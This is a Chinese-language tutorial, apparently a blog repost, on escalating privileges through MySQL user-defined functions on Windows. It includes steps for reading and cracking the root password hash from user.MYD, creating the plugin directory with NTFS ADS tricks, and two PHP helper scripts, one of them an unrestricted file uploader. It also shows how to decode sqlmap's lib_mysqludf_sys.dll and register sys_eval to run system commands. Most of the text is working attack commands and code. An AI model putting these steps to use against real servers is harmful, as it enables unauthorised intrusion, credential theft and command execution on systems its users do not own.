UDF提权

一、信息搜集

1、账号密码

MYSQL所有设置默认都保存在“D:\phpStudy\2018\PHPTutorial\MySQL\data”中,也就是安装程序的data目录下,有关用户一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。在有权限的情况下,我们可以将User.frm、user.myd和User.myi三个文件下载到本地,通过本地的mysql环境直接读取user表中的数据。当然也可使用文本编辑器将user.MYD打开将root账号的密码复制出来到到cmd5.com进行查询和破解

2、查看数据库安装路径

select @@basedir;

UDF提权

3、查看是否允许导入|导出

show variables like '%secure%';

UDF提权

show global variables like 'secure%';
     当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
     当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下
     当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

secure_file_priv 的值在MySQL数据库的安装目录的 my.ini 文件中配置中,没有代表secure_file_priv 的值为 NULL,可以手动添加

4、查看mysql版本

select version();

UDF提权

5、查看mysql是多少位

select @@version_compile_os;

UDF提权

二、UDF提权条件

(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

(3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。

(4)可以将udf.dll写入到相应目录的权限。

三、提权

一般提权都在拿到了一个低权限,在考虑的

1、创建plugin目录

  • NTFS ADS流来创建文件夹的方法
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

执行成功以后就会plugin目录,然后再进行导出udf.dll即可。
  • 创建一个上传文件
<?php
$temp = explode(".", $_FILES["file"]["name"]);       
$img_path = $_GET['save_path']."/". $_FILES["file"]["name"] ;  
move_uploaded_file($_FILES["file"]["tmp_name"], "$img_path" );
echo "文件存储在: " . "$img_path" . $_FILES["file"]["name"];
?>
  • 目录创建文件
    上传一个PHP脚本
<?php

//用于创建文件夹
$name = $_GET['name'];
/*iconv方法是为了防止中文乱码,保证可以创建识别中文目录,不用iconv方法格式的话,将无法创建中文目录*/
$dir = iconv("UTF-8", "GBK",$name);
/**mkdir方法的第一个参数是要创建的目录路径,
**第二个参数是指创建目录的权限,在windows系统下
 **该参数会被忽略,第三个参数是指是否创建多级目录,
**默认为false
**/
if (!file_exists($dir)){
    if(@mkdir ($dir)){
    	echo $dir;
    }else{
    	echo "error";
    }
}
?>

UDF提权

2、上传udf.dll

SQLmap可以实现导出dll文件,目录在 sqlmap/udf/mysql/windows(这里的32位/64位,指的是mysql的位数),如果位数错误则会报错。
SQLmap里的duf.dll是经过编码的使用 sqlmap/extra/cloak目录下的 cloak.py进行解码

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ -o udf.dll

将生成的 udf.dll 上传到 lib/plugin

3、创建函数

create function sys_eval returns string soname "lib_mysqludf_sys.dll";
UDF提权

4、执行命令

select sys_eval ('whoami');
UDF提权

5、删除函数

drop function sys_eval;

上一篇:是否可以在Amazon RDS上使用MySQL UDF?


下一篇:flink 流 UDF